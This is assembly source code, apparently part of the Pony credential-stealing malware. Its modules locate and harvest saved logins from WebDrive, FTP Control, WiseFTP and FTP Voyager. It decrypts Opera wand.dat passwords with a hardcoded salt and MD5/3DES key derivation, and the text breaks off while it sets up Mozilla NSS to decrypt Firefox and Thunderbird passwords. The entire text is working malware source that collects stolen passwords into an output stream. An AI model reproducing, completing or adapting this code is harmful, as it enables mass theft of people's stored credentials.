CWebDrivePort db 'Port',0 CWebDriveBasePath db 'Software\South River Technologies\WebDrive\Connections',0 CWebDriveProtocol db 'ServerType',0 .code WebDriveScanReg proc stream, BaseKey, BasePath LOCAL hkHandle: DWORD LOCAL KeyIndex: DWORD LOCAL dwBufLen: DWORD LOCAL lpBuf[2048]: BYTE LOCAL S: DWORD LOCAL Host: DWORD LOCAL User: DWORD LOCAL Password: DWORD LOCAL dwPassLen: DWORD LOCAL Dir: DWORD LOCAL Port: DWORD LOCAL Protocol: DWORD invoke RegOpenKey, BaseKey, BasePath, addr hkHandle .IF !eax mov KeyIndex, 0 .WHILE TRUE mov dwBufLen, 2047 invoke RegEnumKeyEx, hkHandle, KeyIndex, addr lpBuf, addr dwBufLen, NULL, NULL, NULL, NULL .IF eax .BREAK .ENDIF invoke PonyStrCat, BasePath, addr szSlash push eax mov edx, eax invoke PonyStrCat, edx, addr lpBuf mov S, eax call MemFree invoke RegReadValueStr, BaseKey, S, addr CWebDrivePassword, addr dwPassLen mov Password, eax invoke RegReadValueStr, BaseKey, S, addr CWebDriveServer, NULL mov Host, eax invoke RegReadValueStr, BaseKey, S, addr CWebDriveUser, NULL mov User, eax invoke RegReadValueStr, BaseKey, S, addr CWebDriveDir, NULL mov Dir, eax invoke RegReadValueStr, BaseKey, S, addr CWebDrivePort, NULL mov Port, eax invoke RegReadValueStr, BaseKey, S, addr CWebDriveProtocol, NULL mov Protocol, eax .IF Password && Host && User ; export data, type = 0000: Host | User | Pass | Port | Dir ; export data, type = 0010: Host | User | Pass | Port | Dir | Protocol invoke StreamWriteDWORD, stream, ITEMHDR_ID or 10h invoke StreamWriteString, stream, Host invoke StreamWriteString, stream, User invoke StreamWriteBinaryString, stream, Password, dwPassLen invoke StreamWriteString, stream, Port invoke StreamWriteString, stream, Dir invoke StreamWriteString, stream, Protocol .ENDIF invoke MemFree, Password invoke MemFree, Host invoke MemFree, User invoke MemFree, Dir invoke MemFree, Port invoke MemFree, Protocol ; recursively scan subfolders invoke WebDriveScanReg, stream, BaseKey, S invoke MemFree, S inc KeyIndex .ENDW invoke RegCloseKey, hkHandle .ENDIF ret WebDriveScanReg endp GrabWebDrive proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_WEBDRIVE, 0 mov hdr_ofs, eax invoke WebDriveScanReg, stream, dwCurrentUserKey, offset CWebDriveBasePath invoke WebDriveScanReg, stream, HKEY_LOCAL_MACHINE, offset CWebDriveBasePath invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabWebDrive endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; FTP Control 4.5.0.0 ; http://www.ftpcontrol.com/ ; Tested: FTP Control 4.5.0.0 ; SFTP: not supported IFDEF COMPILE_MODULE_FTPCONTROL .data CFTPControlInstName db 'FTP CONTROL',0 CFTPControlInstPath db 'FTPCON',0 CFTPControlPrfFile db '.prf',0 CFTPControlProfilesDir db '\Profiles',0 .code GrabFTPControl proc uses esi edi stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_FTPCONTROL, 0 mov hdr_ofs, eax mov esi, lpInstalledList mov edi, lpInstalledNames .IF byte ptr[edi] @n: invoke StrStrI, esi, offset CFTPControlInstPath push eax invoke StrStrI, edi, offset CFTPControlInstName pop edx .IF eax || edx invoke ExtractFilePath, esi invoke PonyStrCatFreeArg1, eax, offset CFTPControlProfilesDir push eax invoke CommonFileScan, stream, eax, offset CFTPControlPrfFile, ITEMHDR_ID or 0 call MemFree .ENDIF .WHILE byte ptr[esi] inc esi .ENDW inc esi @Next @n .ENDIF invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabFTPControl endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Opera 6.x - 11.x ; http://www.opera.com/ ; Tested: Opera 11.50 (Build 1074) ; Tested: Opera 11.64 (Build 1403) ; Tested: 16.0.1196.73 (Chrome based) ; SFTP: not supported IFDEF COMPILE_MODULE_OPERA .data lpOperaWandSalt db 83h, 7Dh, 0FCh, 0Fh, 8Eh, 0B3h, 0E8h, 69h, 73h, 0AFh, 0FFh COperaWandSaltLen equ 11 IFDEF GRAB_HTTP COperaURI_HTTP db 'http://',0 COperaURI_HTTPS db 'https://',0 ENDIF COperaURI_FTP db 'ftp://',0 COperaDir db 'opera',0 COperaWandDatFile db 'wand.dat',0 db '_' ; NOD32 FIX COperaBaseRegPath db 'Software\Opera Software',0 COperaRegValue1 db 'Last Directory3',0 COperaRegValue2 db 'Last Install Path',0 COperaShellRegPath db 'Opera.HTML\shell\open\command',0 COperaNewAppDataDir db '\Opera Software',0 .code OperaReadVariable proc stream, lpStatusCode, lpdwLen LOCAL dwLen: DWORD invoke Stream_SafeReadDWORD, stream, lpStatusCode mov dwLen, eax invoke StreamReadCheck, stream, dwLen mov ecx, lpStatusCode .IF eax && dword ptr[ecx] invoke MemAlloc, dwLen push eax invoke Stream_SafeReadStream, stream, eax, dwLen, lpStatusCode pop edx mov ecx, lpStatusCode .IF !dword ptr[ecx] invoke MemFree, edx sub eax, eax .ELSE .IF lpdwLen mov eax, lpdwLen push dwLen pop dword ptr[eax] .ENDIF mov eax, edx .ENDIF .ELSE sub eax, eax .ENDIF ret OperaReadVariable endp OperaSkipReadDWORD proc stream, lpStatusCode invoke Stream_SafeReadDWORD, stream, lpStatusCode invoke Stream_SafeReadSkip, stream, eax, lpStatusCode ret OperaSkipReadDWORD endp OperaDecryptWandPass proc uses esi edi ebx Key, KeyLen, Data, DataLen LOCAL digest1[16]: BYTE LOCAL digest2[16]: BYTE LOCAL des_key[24]: BYTE LOCAL hash_mem: DWORD LOCAL hash_len: DWORD .IF !Key || !KeyLen || !Data || !DataLen sub eax, eax ret .ENDIF ; validate key length mov eax, KeyLen and eax, 7 .IF !KeyLen || eax sub eax, eax ret .ENDIF ; validate data length mov eax, DataLen and eax, 7 .IF !DataLen || eax sub eax, eax ret .ENDIF sub ebx, ebx m2m hash_len, KeyLen add hash_len, COperaWandSaltLen invoke MemAlloc, hash_len cld mov hash_mem, eax mov edi, hash_mem mov esi, offset lpOperaWandSalt mov ecx, COperaWandSaltLen rep movsb mov esi, Key mov ecx, KeyLen rep movsb invoke MD5Hash, hash_mem, hash_len, addr digest1 invoke MemFree, hash_mem m2m hash_len, KeyLen add hash_len, 16+COperaWandSaltLen invoke MemAlloc, hash_len mov hash_mem, eax cld mov hash_mem, eax lea esi, digest1 mov edi, hash_mem mov ecx, 16 rep movsb mov esi, offset lpOperaWandSalt mov ecx, COperaWandSaltLen rep movsb mov esi, Key mov ecx, KeyLen rep movsb invoke MD5Hash, hash_mem, hash_len, addr digest2 invoke MemFree, hash_mem cld lea esi, digest1 lea edi, des_key mov ecx, 16 rep movsb lea esi, digest2 mov ecx, 8 rep movsb invoke des3key, addr des_key, 1 mov esi, Data mov edi, DataLen shr edi, 3 .IF edi ; decrypt data .WHILE edi invoke des_cbc, esi, esi, addr digest2[8] add esi, 8 dec edi .ENDW ; remove unused trailing bytes movzx eax, byte ptr[esi-1] .IF eax <= 8 sub esi, eax .ENDIF ; calculate actual decrypted data length sub esi, Data shr esi, 1 ; count wide chars ; calculate required buffer size for unicode->ansi convertation invoke WideCharToMultiByte, CP_ACP, 0, Data, esi, NULL, NULL, NULL, NULL .IF eax push eax invoke MemAlloc, eax mov ebx, eax pop ecx ; unicode -> ansi invoke WideCharToMultiByte, CP_ACP, 0, Data, esi, ebx, ecx, NULL, NULL .IF !eax invoke MemFree, ebx sub ebx, ebx .ENDIF .ENDIF .ENDIF mov eax, ebx ret OperaDecryptWandPass endp OperaReadValue proc uses edi ebx stream, lpStatusCode LOCAL Key: DWORD LOCAL Data: DWORD LOCAL KeyLen: DWORD LOCAL DataLen: DWORD sub ebx, ebx invoke Stream_SafeReadDWORD, stream, lpStatusCode push eax invoke StreamGetPos, stream mov edi, eax pop eax add edi, eax .IF eax invoke OperaReadVariable, stream, lpStatusCode, addr KeyLen mov Key, eax invoke OperaReadVariable, stream, lpStatusCode, addr DataLen mov Data, eax ; decrypt item invoke OperaDecryptWandPass, Key, KeyLen, Data, DataLen mov ebx, eax invoke MemFree, Key invoke MemFree, Data .ENDIF invoke StreamSeekOffset, stream, edi, OFS_BEGIN mov eax, ebx ret OperaReadValue endp OperaReadSiteHeader proc stream, cVer, lpStatusCode, lpszSiteName .IF cVer >= 6 ; FlagX invoke Stream_SafeReadDWORD, stream, lpStatusCode ; Hash invoke OperaSkipReadDWORD, stream, lpStatusCode ; TimeZone invoke OperaSkipReadDWORD, stream, lpStatusCode .ENDIF ; Site invoke OperaReadValue, stream, lpStatusCode mov edx, lpszSiteName mov dword ptr[edx], eax ; Submit name invoke OperaSkipReadDWORD, stream, lpStatusCode .IF cVer > 3 ; Alt name invoke OperaSkipReadDWORD, stream, lpStatusCode ; Form target invoke OperaSkipReadDWORD, stream, lpStatusCode .ENDIF ; Advanced flags invoke Stream_SafeReadSkip, stream, 24, lpStatusCode ; Number of children invoke Stream_SafeReadDWORD, stream, lpStatusCode ret OperaReadSiteHeader endp OperaReadSiteItem proc stream, lpStatusCode, lpszInputName, lpszInputValue, lpszInputValue2 invoke Stream_SafeReadSkip, stream, 1, lpStatusCode ; Input name invoke OperaReadValue, stream, lpStatusCode mov edx, lpszInputName mov dword ptr[edx], eax ; Input normal invoke OperaReadValue, stream, lpStatusCode mov edx, lpszInputValue mov dword ptr[edx], eax ; Input hidden invoke OperaReadValue, stream, lpStatusCode mov edx, lpszInputValue2 mov dword ptr[edx], eax ret OperaReadSiteItem endp OperaReadSites proc uses esi edi stream, target_stream, cVer, lpdwStatusCode LOCAL szSiteName: DWORD LOCAL lpInputName: DWORD LOCAL lpInputValue: DWORD LOCAL lpInputValue2: DWORD IFDEF GRAB_HTTP LOCAL bWriteUserData: DWORD ENDIF invoke Stream_SafeReadSkip, stream, 1, lpdwStatusCode ; site count invoke Stream_SafeReadDWORD, stream, lpdwStatusCode mov esi, eax .WHILE esi mov eax, lpdwStatusCode .IF !dword ptr[eax] .BREAK .ENDIF mov szSiteName, NULL invoke OperaReadSiteHeader, stream, cVer, lpdwStatusCode, addr szSiteName mov edi, eax IFDEF GRAB_HTTP .IF szSiteName invoke StrStrI, szSiteName, offset COperaURI_HTTP .IF !eax invoke StrStrI, szSiteName, offset COperaURI_HTTPS .ENDIF mov bWriteUserData, eax .ELSE mov bWriteUserData, FALSE .ENDIF .IF bWriteUserData invoke StreamWriteDWORD, target_stream, ITEMHDR_ID or 1 invoke StreamWriteString, target_stream, szSiteName .ENDIF ENDIF .WHILE edi mov eax, lpdwStatusCode .IF !dword ptr[eax] .BREAK .ENDIF mov lpInputName, NULL mov lpInputValue, NULL mov lpInputValue2, NULL invoke OperaReadSiteItem, stream, lpdwStatusCode, addr lpInputName, addr lpInputValue, addr lpInputValue2 IFDEF GRAB_HTTP .IF bWriteUserData && lpInputName && (lpInputValue || lpInputValue2) invoke StreamWriteString, target_stream, lpInputName invoke StreamWriteString, target_stream, lpInputValue invoke StreamWriteString, target_stream, lpInputValue2 .ENDIF ENDIF invoke MemFree, lpInputName invoke MemFree, lpInputValue invoke MemFree, lpInputValue2 dec edi .ENDW IFDEF GRAB_HTTP .IF bWriteUserData invoke StreamWriteDWORD, target_stream, 0 invoke StreamWriteDWORD, target_stream, 0 invoke StreamWriteDWORD, target_stream, 0 .ENDIF ENDIF invoke MemFree, szSiteName dec esi .ENDW ret OperaReadSites endp ProcessOperaWandStream proc uses esi stream, target_stream LOCAL cVer: DWORD LOCAL dwStatusCode: DWORD LOCAL dwStreamLen: DWORD LOCAL URL: DWORD LOCAL User: DWORD LOCAL Pass: DWORD LOCAL extra_flag: DWORD invoke StreamGetLength, stream mov dwStreamLen, eax .IF dwStreamLen < 16 mov eax, TRUE ret .ENDIF invoke StreamGotoBegin, stream mov dwStatusCode, TRUE invoke Stream_SafeReadDWORD, stream, addr dwStatusCode mov cVer, eax ; wand.dat version (2 = 6.x, 7.x, 8.x; 3 = 9.0; 4 = 9.1; 5 = 9.12+; 6 = 11.10+) .IF !dwStatusCode || (cVer < 2) || (cVer > 6) mov eax, TRUE ret .ENDIF invoke Stream_SafeReadDWORD, stream, addr dwStatusCode .IF !dwStatusCode || (eax != 0) ; master password is set mov eax, TRUE ret .ENDIF ; Additional unknown data in new versions .IF cVer >= 5 invoke Stream_SafeReadSkip, stream, 24, addr dwStatusCode invoke Stream_SafeReadDWORD, stream, addr dwStatusCode mov extra_flag, eax .ELSE invoke Stream_SafeReadDWORD, stream, addr dwStatusCode mov extra_flag, eax invoke Stream_SafeReadSkip, stream, 4, addr dwStatusCode .ENDIF ; Personal Profile invoke OperaSkipReadDWORD, stream, addr dwStatusCode .IF extra_flag == 1 invoke OperaReadSites, stream, target_stream, cVer, addr dwStatusCode ; Log Profile invoke OperaSkipReadDWORD, stream, addr dwStatusCode .ENDIF .IF !dwStatusCode mov eax, FALSE ret .ENDIF ; Form passwords invoke OperaReadSites, stream, target_stream, cVer, addr dwStatusCode .IF !dwStatusCode mov eax, FALSE ret .ENDIF ; http/ftp passwords invoke Stream_SafeReadDWORD, stream, addr dwStatusCode mov esi, eax .WHILE dwStatusCode && esi invoke StreamGetPos, stream .IF eax == dwStreamLen .BREAK .ENDIF .IF cVer >= 6 invoke Stream_SafeReadDWORD, stream, addr dwStatusCode invoke OperaSkipReadDWORD, stream, addr dwStatusCode invoke OperaSkipReadDWORD, stream, addr dwStatusCode .ENDIF invoke OperaReadValue, stream, addr dwStatusCode mov URL, eax invoke OperaReadValue, stream, addr dwStatusCode mov User, eax invoke OperaReadValue, stream, addr dwStatusCode mov Pass, eax .IF URL && User && Pass && dwStatusCode invoke StrStrI, URL, offset COperaURI_FTP IFDEF GRAB_HTTP .IF !eax invoke StrStrI, URL, offset COperaURI_HTTP .IF !eax invoke StrStrI, URL, offset COperaURI_HTTPS .ENDIF .ENDIF ENDIF .IF eax invoke StreamWriteDWORD, target_stream, ITEMHDR_ID or 0 invoke StreamWriteString, target_stream, URL invoke StreamWriteString, target_stream, User invoke StreamWriteString, target_stream, Pass .ENDIF .ENDIF invoke MemFree, URL invoke MemFree, User invoke MemFree, Pass dec esi .ENDW mov eax, dwStatusCode ret ProcessOperaWandStream endp OperaProcessWandFile proc target_stream, lpFileName LOCAL stream: DWORD invoke IsFileAlreadyProcessed, lpFileName .IF !eax invoke StreamCreate, addr stream invoke StreamLoadFromFile, lpFileName, stream .IF eax invoke ProcessOperaWandStream, stream, target_stream .IF !eax ; Error occured while processing "wand.dat" file ; Send "wand.dat" file for debugging ;invoke CommonAppendFileForceDupe, target_stream, lpFileName, ITEMHDR_ID or 1000h .ENDIF .ENDIF invoke StreamFree, stream .ENDIF ret OperaProcessWandFile endp OperaWandFileScan proc stream, dir, filemask LOCAL FindFileData: WIN32_FIND_DATA LOCAL hFind: DWORD LOCAL path: DWORD LOCAL ininame: DWORD mov path, 0 mov eax, dir .IF (!eax) || (!byte ptr[eax]) jmp @not_found .ENDIF invoke CheckEndSlash, dir .IF !eax invoke PonyStrCat, dir, offset CCommonFileMask .ELSE invoke PonyStrCat, dir, offset CCommonFileMaskNoSlash .ENDIF mov path, eax invoke ZeroMemory, addr FindFileData, sizeof WIN32_FIND_DATA invoke FindFirstFile, path, addr FindFileData mov hFind, eax inc eax jz @not_found @find_loop: lea edx, FindFileData test [edx].WIN32_FIND_DATA.dwFileAttributes, FILE_ATTRIBUTE_DIRECTORY .IF !ZERO? ; is directory, scan recursively ; skip "." and ".." path names lea eax, [edx].WIN32_FIND_DATA.cFileName invoke lstrcmpi, offset szFilePoint, eax .IF !eax jmp @skip .ENDIF lea edx, FindFileData lea eax, [edx].WIN32_FIND_DATA.cFileName invoke lstrcmpi, offset szFilePPoint, eax .IF !eax jmp @skip .ENDIF invoke CheckEndSlash, dir .IF !eax invoke PonyStrCat, dir, offset szSlash .ELSE invoke PonyStrCat, dir, NULL .ENDIF lea edx, FindFileData lea edx, [edx].WIN32_FIND_DATA.cFileName invoke PonyStrCatFreeArg1, eax, edx push eax invoke OperaWandFileScan, stream, eax, filemask call MemFree jmp @skip .ENDIF lea eax, [edx].WIN32_FIND_DATA.cFileName mov ininame, eax invoke StrStrI, ininame, filemask .IF eax invoke PonyStrCat, dir, offset szSlash invoke PonyStrCatFreeArg1, eax, ininame push eax invoke OperaProcessWandFile, stream, eax call MemFree .ENDIF @skip: invoke FindNextFile, hFind, addr FindFileData test eax, eax jnz @find_loop invoke FindClose, hFind @not_found: invoke MemFree, path ret OperaWandFileScan endp OperaFindDirs proc stream, dir LOCAL FindFileData: WIN32_FIND_DATA LOCAL hFind: DWORD LOCAL path: DWORD LOCAL file_name: DWORD LOCAL target_dir: DWORD mov path, 0 mov eax, dir .IF (!eax) || (!byte ptr[eax]) jmp @not_found .ENDIF invoke PonyStrCat, dir, offset CCommonFileMask mov path, eax invoke ZeroMemory, addr FindFileData, sizeof WIN32_FIND_DATA invoke FindFirstFile, path, addr FindFileData mov hFind, eax inc eax jz @not_found @find_loop: lea edx, FindFileData test [edx].WIN32_FIND_DATA.dwFileAttributes, FILE_ATTRIBUTE_DIRECTORY .IF !ZERO? ; skip "." and ".." paths lea edx, FindFileData lea eax, [edx].WIN32_FIND_DATA.cFileName invoke lstrcmpi, offset szFilePoint, eax .IF !eax jmp @skip .ENDIF lea edx, FindFileData lea eax, [edx].WIN32_FIND_DATA.cFileName invoke lstrcmpi, offset szFilePPoint, eax .IF !eax jmp @skip .ENDIF lea edx, FindFileData lea eax, [edx].WIN32_FIND_DATA.cFileName mov file_name, eax invoke PonyStrCat, dir, offset szSlash invoke PonyStrCatFreeArg1, eax, file_name mov target_dir, eax push eax invoke StrStrI, target_dir, offset COperaDir .IF eax invoke OperaWandFileScan, stream, target_dir, offset COperaWandDatFile .ENDIF call MemFree .ENDIF @skip: invoke FindNextFile, hFind, addr FindFileData test eax, eax jnz @find_loop invoke FindClose, hFind @not_found: invoke MemFree, path ret OperaFindDirs endp OperaCommonFileScan proc stream, csidl invoke SHGetFolderPathStr, csidl .IF eax push eax invoke OperaFindDirs, stream, eax call MemFree .ENDIF ret OperaCommonFileScan endp ChromeCommonScanCustomID proto :DWORD, :DWORD, :DWORD GrabOpera proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_OPERA, 0 mov hdr_ofs, eax ; Application Data Directories invoke OperaCommonFileScan, stream, CSIDL_APPDATA invoke OperaCommonFileScan, stream, CSIDL_COMMON_APPDATA invoke OperaCommonFileScan, stream, CSIDL_LOCAL_APPDATA invoke RegReadValueStr, dwCurrentUserKey, offset COperaBaseRegPath, offset COperaRegValue1, NULL .IF eax push eax invoke OperaWandFileScan, stream, eax, offset COperaWandDatFile call MemFree .ENDIF invoke RegReadValueStr, dwCurrentUserKey, offset COperaBaseRegPath, offset COperaRegValue2, NULL .IF eax push eax invoke OperaWandFileScan, stream, eax, offset COperaWandDatFile call MemFree .ENDIF invoke RegReadValueStr, HKEY_CLASSES_ROOT, offset COperaShellRegPath, NULL, NULL .IF eax push eax invoke ExtractFilePath, eax .IF eax push eax invoke OperaWandFileScan, stream, eax, offset COperaWandDatFile call MemFree .ENDIF call MemFree .ENDIF invoke ChromeCommonScanCustomID, stream, offset COperaNewAppDataDir, ITEMHDR_ID or 2 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabOpera endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; WiseFTP 1.x - 7.x ; http://www.wise-ftp.com/ ; Tested: 7.0.3 ; Tested: 7.0.4 ; SFTP: implemented IFDEF COMPILE_MODULE_WISEFTP .data CWiseFTPBinFileMask db 'wiseftpsrvs.bin',0 CWiseFTPAppDataDir db '\AceBIT',0 CWiseFTPRegPath db 'Software\AceBIT',0 CWiseFTPRegValue db 'MRU',0 CWiseFTP_IniRegPath1 db 'SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}',0 CWiseFTP_IniRegPath2 db 'SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}',0 CWiseFTPIniFile1 db 'wiseftpsrvs.ini',0 CWiseFTPIniFile2 db 'wiseftp.ini',0 .code WiseFTPScanReg proc stream, BaseKey, BasePath LOCAL hkHandle: DWORD LOCAL KeyIndex: DWORD LOCAL dwBufLen: DWORD LOCAL lpBuf[2048]: BYTE LOCAL S: DWORD LOCAL MRU: DWORD invoke RegOpenKey, BaseKey, BasePath, addr hkHandle .IF !eax mov KeyIndex, 0 .WHILE TRUE mov dwBufLen, 2047 invoke RegEnumKeyEx, hkHandle, KeyIndex, addr lpBuf, addr dwBufLen, NULL, NULL, NULL, NULL .IF eax .BREAK .ENDIF invoke PonyStrCat, BasePath, addr szSlash push eax mov edx, eax invoke PonyStrCat, edx, addr lpBuf mov S, eax call MemFree invoke RegReadValueStr, BaseKey, S, addr CWiseFTPRegValue, NULL mov MRU, eax .IF MRU ; MRU string invoke CommonAppendDataStr, stream, MRU, ITEMHDR_ID or 1 .ENDIF invoke MemFree, MRU ; recursively scan subfolders invoke WiseFTPScanReg, stream, BaseKey, S invoke MemFree, S inc KeyIndex .ENDW invoke RegCloseKey, hkHandle .ENDIF ret WiseFTPScanReg endp WiseFTPScanRegIni proc stream, BaseKey, BasePath LOCAL hkHandle: DWORD LOCAL KeyIndex: DWORD LOCAL dwBufLen: DWORD LOCAL lpBuf[2048]: BYTE LOCAL S: DWORD LOCAL Dir: DWORD LOCAL ini_dir: DWORD invoke RegOpenKey, BaseKey, BasePath, addr hkHandle .IF !eax mov KeyIndex, 0 .WHILE TRUE mov dwBufLen, 2047 invoke RegEnumKeyEx, hkHandle, KeyIndex, addr lpBuf, addr dwBufLen, NULL, NULL, NULL, NULL .IF eax .BREAK .ENDIF invoke PonyStrCat, BasePath, addr szSlash push eax mov edx, eax invoke PonyStrCat, edx, addr lpBuf mov S, eax call MemFree invoke RegReadValueStr, BaseKey, S, NULL, NULL mov Dir, eax invoke ExtractFilePath, Dir .IF eax push eax mov ini_dir, eax invoke DirectoryExists, ini_dir .IF eax invoke CommonFileScan, stream, ini_dir, offset CWiseFTPIniFile1, ITEMHDR_ID or 2 invoke CommonFileScan, stream, ini_dir, offset CWiseFTPIniFile2, ITEMHDR_ID or 2 invoke CommonFileScan, stream, ini_dir, offset CWiseFTPBinFileMask, ITEMHDR_ID or 0 .ENDIF call MemFree .ENDIF invoke MemFree, Dir ; recursively scan subfolders invoke WiseFTPScanRegIni, stream, BaseKey, S invoke MemFree, S inc KeyIndex .ENDW invoke RegCloseKey, hkHandle .ENDIF ret WiseFTPScanRegIni endp GrabWiseFTP proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_WISEFTP, 0 mov hdr_ofs, eax ; Site manager (%APPDATA%) invoke AppDataCommonFileScan, stream, offset CWiseFTPAppDataDir, offset CWiseFTPBinFileMask, ITEMHDR_ID or 0 ; Quick connections stored in registry invoke WiseFTPScanReg, stream, dwCurrentUserKey, offset CWiseFTPRegPath invoke WiseFTPScanReg, stream, HKEY_LOCAL_MACHINE, offset CWiseFTPRegPath ; Ini files inside installation directory (older versions) invoke WiseFTPScanRegIni, stream, HKEY_LOCAL_MACHINE, offset CWiseFTP_IniRegPath1 invoke WiseFTPScanRegIni, stream, HKEY_LOCAL_MACHINE, offset CWiseFTP_IniRegPath2 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabWiseFTP endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; FTP Voyager 11.x-16.x ; http://www.ftpvoyager.com/ ; Tested: Version 16.1.0.0 ; Tested: Version 15.2.0.17 ; Tested: Version 15.2.0.19 ; SFTP: implemented IFDEF COMPILE_MODULE_FTPVOYAGER .data CFTPVoyagerProfileFile1 db 'FTPVoyager.ftp',0 CFTPVoyagerProfileFile2 db 'FTPVoyager.ftp.backup',0 CFTPVoyagerProfileFile3 db 'FTPVoyager.ftp.old.backup',0 CFTPVoyagerQuickFile db 'FTPVoyager.qc',0 CFTPVoyagerAppDataDir db '\RhinoSoft.com',0 .code FTPVoyagerCommonFileScan proc stream, csidl invoke SHGetFolderPathStr, csidl .IF eax invoke PonyStrCatFreeArg1, eax, offset CFTPVoyagerAppDataDir push eax push eax push eax push eax invoke CommonFileScan, stream, eax, offset CFTPVoyagerProfileFile1, ITEMHDR_ID or 0 pop eax invoke CommonFileScan, stream, eax, offset CFTPVoyagerProfileFile2, ITEMHDR_ID or 0 pop eax invoke CommonFileScan, stream, eax, offset CFTPVoyagerProfileFile3, ITEMHDR_ID or 0 pop eax invoke CommonFileScan, stream, eax, offset CFTPVoyagerQuickFile, ITEMHDR_ID or 1 call MemFree .ENDIF ret FTPVoyagerCommonFileScan endp GrabFTPVoyager proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_FTPVOYAGER, 0 mov hdr_ofs, eax invoke FTPVoyagerCommonFileScan, stream, CSIDL_APPDATA invoke FTPVoyagerCommonFileScan, stream, CSIDL_COMMON_APPDATA invoke FTPVoyagerCommonFileScan, stream, CSIDL_LOCAL_APPDATA invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabFTPVoyager endp ENDIF IFDEF COMPILE_MODULE_FIREFOX COMPILE_MOZILLA_CODE equ 1 ELSEIFDEF COMPILE_MODULE_FIREFTP COMPILE_MOZILLA_CODE equ 1 ELSEIFDEF COMPILE_MODULE_SEAMONKEY COMPILE_MOZILLA_CODE equ 1 ELSEIFDEF COMPILE_MODULE_FLOCK COMPILE_MOZILLA_CODE equ 1 ELSEIFDEF COMPILE_MODULE_MOZILLA COMPILE_MOZILLA_CODE equ 1 ELSEIFDEF COMPILE_MODULE_EPIC COMPILE_MOZILLA_CODE equ 1 ELSEIFDEF COMPILE_MODULE_KMELEON COMPILE_MOZILLA_CODE equ 1 ENDIF ; E-mail modules IFDEF GRAB_EMAIL IFDEF COMPILE_MODULE_THUNDERBIRD COMPILE_MOZILLA_CODE equ 1 ENDIF ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Mozilla products common password decryption ; SFTP: not supported IFDEF COMPILE_MOZILLA_CODE .data szNSS3Imports db 'nss3.dll',0 db 'NSS_Init',0 db 'NSS_Shutdown',0 db 'NSSBase64_DecodeBuffer',0 db 'SECITEM_FreeItem',0 db 'PK11_GetInternalKeySlot',0 db 'PK11_Authenticate',0 db 'PK11SDR_Decrypt',0 db 'PK11_FreeSlot',0 db 0 NSS_Init dd 0 NSS_Shutdown dd 0 NSSBase64_DecodeBuffer dd 0 SECITEM_FreeItem dd 0 PK11_GetInternalKeySlot dd 0 PK11_Authenticate dd 0 PK11SDR_Decrypt dd 0 PK11_FreeSlot dd 0 MOZILLA_MODE_FTP_HTTP equ 0 MOZILLA_MODE_FIREFTP equ 1 MOZILLA_MODE_EMAIL equ 2 MOZILLA_MODE_EMAIL_CONFIG equ 3 mozilla_mode dd 0 ; 0 - FTP/HTTP; 1 - FireFTP; 2 - E-mail mozilla_slot dd 0 szMozillaProfileIni db 'profiles.ini',0 szMozillaProfile db 'Profile',0 szMozillaIniIsRelative db 'IsRelative',0 szMozillaIniPath db 'Path',0 szMozillaPathToExe db 'PathToExe',0 szMozillaPrefsJS db 'prefs.js',0 szMozillaSQLiteFile db 'signons.sqlite',0 szMozillaSignons db 'signons.txt',0 szMozillaSignons2 db 'signons2.txt',0 szMozillaSignons3 db 'signons3.txt',0 szMozillaSignonsID db '#2c',0 szMozillaSignonsID2 db '#2d',0 szMozillaSignonsID3 db '#2e',0 szMozillaFirefox db 'Firefox',0 szMozillaFirefoxBaseRegPath db '\Mozilla\Firefox\',0 szMozillaBaseRegPath db 'Software\Mozilla',0 szMozillaDashes db '---',0 szMozillaFTP db 'ftp://',0 IFDEF GRAB_HTTP szMozillaHTTP db 'http://',0 szMozillaHTTPS db 'https://',0 ENDIF szMozillaFireFTP db 'ftp.',0 .code MozillaInitNSSDecryption proc uses ebx szProfilePath, szAppPath mov mozilla_slot, 0 sub ebx, ebx invoke lstrlen, szProfilePath mov edx, szProfilePath .IF eax > 2 add edx, eax sub edx, 2 .IF word ptr[edx] == '\\' mov word ptr[edx], '\' .ENDIF .ENDIF invoke SetCurrentDirectory, szAppPath invoke LoadDllImports, offset szNSS3Imports, offset NSS_Init .IF eax push szProfilePath call NSS_Init add esp, 4*1 .IF !eax call PK11_GetInternalKeySlot mov mozilla_slot, eax .IF !mozilla_slot call NSS_Shutdown .ELSE push NULL push TRUE push mozilla_slot call PK11_Authenticate add esp, 4*3 .IF eax ; authentication failed push mozilla_slot call PK11_FreeSlot add esp, 4*1 call NSS_Shutdown mov mozilla_slot, 0 .ELSE ; success! inc ebx .ENDIF 